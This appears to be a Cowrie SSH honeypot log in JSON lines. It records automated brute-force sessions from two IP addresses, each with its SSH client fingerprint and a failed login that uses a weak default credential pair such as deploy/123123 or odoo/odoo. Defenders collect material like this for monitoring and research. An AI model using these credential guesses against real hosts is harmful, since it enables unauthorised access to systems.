{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:26:45.259777Z","src_ip":"91.92.40.171","session":"9b8ed59e189a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.2","message":"Connection lost after 5.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:26:45.309928Z","src_ip":"91.92.40.171","session":"a19f49e143a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"123123","message":"login attempt [deploy/123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:26:45.642683Z","src_ip":"91.92.40.171","session":"9b8ed59e189a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:26:46.763385Z","src_ip":"91.92.40.171","session":"9b8ed59e189a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":60688,"dst_ip":"159.203.135.109","dst_port":22,"session":"5021ec1b68ad","protocol":"ssh","message":"New connection: 91.92.42.133:60688 (159.203.135.109:22) [session: 5021ec1b68ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:26:47.593004Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:26:47.765976Z","src_ip":"91.92.42.133","session":"5021ec1b68ad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:26:47.768885Z","src_ip":"91.92.42.133","session":"5021ec1b68ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"www","password":"12345678","message":"login attempt [www/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:26:49.333716Z","src_ip":"91.92.42.133","session":"5021ec1b68ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:26:50.619259Z","src_ip":"91.92.42.133","session":"5021ec1b68ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":44322,"dst_ip":"159.203.135.109","dst_port":22,"session":"81dd79e2a2b3","protocol":"ssh","message":"New connection: 91.92.40.171:44322 (159.203.135.109:22) [session: 81dd79e2a2b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:26:50.694069Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:26:50.758403Z","src_ip":"91.92.40.171","session":"81dd79e2a2b3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:26:50.818976Z","src_ip":"91.92.40.171","session":"81dd79e2a2b3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"uploader","password":"uploader","message":"login attempt [uploader/uploader] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:26:51.185330Z","src_ip":"91.92.40.171","session":"81dd79e2a2b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:26:52.340239Z","src_ip":"91.92.40.171","session":"81dd79e2a2b3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":60754,"dst_ip":"159.203.135.109","dst_port":22,"session":"8ff70f1e8d1a","protocol":"ssh","message":"New connection: 91.92.42.133:60754 (159.203.135.109:22) [session: 8ff70f1e8d1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:26:54.362523Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:26:54.597549Z","src_ip":"91.92.42.133","session":"8ff70f1e8d1a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:26:54.603167Z","src_ip":"91.92.42.133","session":"8ff70f1e8d1a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"123456","message":"login attempt [minecraft/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:26:56.122515Z","src_ip":"91.92.42.133","session":"8ff70f1e8d1a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":51802,"dst_ip":"159.203.135.109","dst_port":22,"session":"2c6f1889f47c","protocol":"ssh","message":"New connection: 91.92.40.171:51802 (159.203.135.109:22) [session: 2c6f1889f47c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:26:56.163685Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:26:56.173697Z","src_ip":"91.92.40.171","session":"2c6f1889f47c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:26:56.279872Z","src_ip":"91.92.40.171","session":"2c6f1889f47c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rock","password":"rock","message":"login attempt [rock/rock] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:26:56.670193Z","src_ip":"91.92.40.171","session":"2c6f1889f47c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:26:57.342287Z","src_ip":"91.92.42.133","session":"8ff70f1e8d1a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:26:57.790699Z","src_ip":"91.92.40.171","session":"2c6f1889f47c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":45716,"dst_ip":"159.203.135.109","dst_port":22,"session":"fc87de372347","protocol":"ssh","message":"New connection: 91.92.42.133:45716 (159.203.135.109:22) [session: fc87de372347]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:27:00.887957Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:27:00.967260Z","src_ip":"91.92.42.133","session":"fc87de372347","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:27:01.044749Z","src_ip":"91.92.42.133","session":"fc87de372347","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo","password":"odoo","message":"login attempt [odoo/odoo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:27:01.511108Z","src_ip":"91.92.42.133","session":"fc87de372347","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":51842,"dst_ip":"159.203.135.109","dst_port":22,"session":"0f86ccca0960","protocol":"ssh","message":"New connection: 91.92.40.171:51842 (159.203.135.109:22) [session: 0f86ccca0960]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:27:01.690429Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:27:01.728389Z","src_ip":"91.92.40.171","session":"0f86ccca0960","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:27:01.797896Z","src_ip":"91.92.40.171","session":"0f86ccca0960","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amine","password":"amine","message":"login attempt [amine/amine] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:27:02.130054Z","src_ip":"91.92.40.171","session":"0f86ccca0960","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:27:02.729849Z","src_ip":"91.92.42.133","session":"fc87de372347","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:27:03.225060Z","src_ip":"91.92.40.171","session":"0f86ccca0960","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":42612,"dst_ip":"159.203.135.109","dst_port":22,"session":"ebe65b69e945","protocol":"ssh","message":"New connection: 91.92.40.171:42612 (159.203.135.109:22) [session: ebe65b69e945]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:27:07.019502Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:27:07.175085Z","src_ip":"91.92.40.171","session":"ebe65b69e945","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:27:07.178584Z","src_ip":"91.92.40.171","session":"ebe65b69e945","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":34444,"dst_ip":"159.203.135.109","dst_port":22,"session":"1c5dfa248b13","protocol":"ssh","message":"New connection: 91.92.42.133:34444 (159.203.135.109:22) [session: 1c5dfa248b13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:27:07.302334Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:27:07.496859Z","src_ip":"91.92.42.133","session":"1c5dfa248b13","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:27:07.505675Z","src_ip":"91.92.42.133","session":"1c5dfa248b13","protocol":"ssh"}
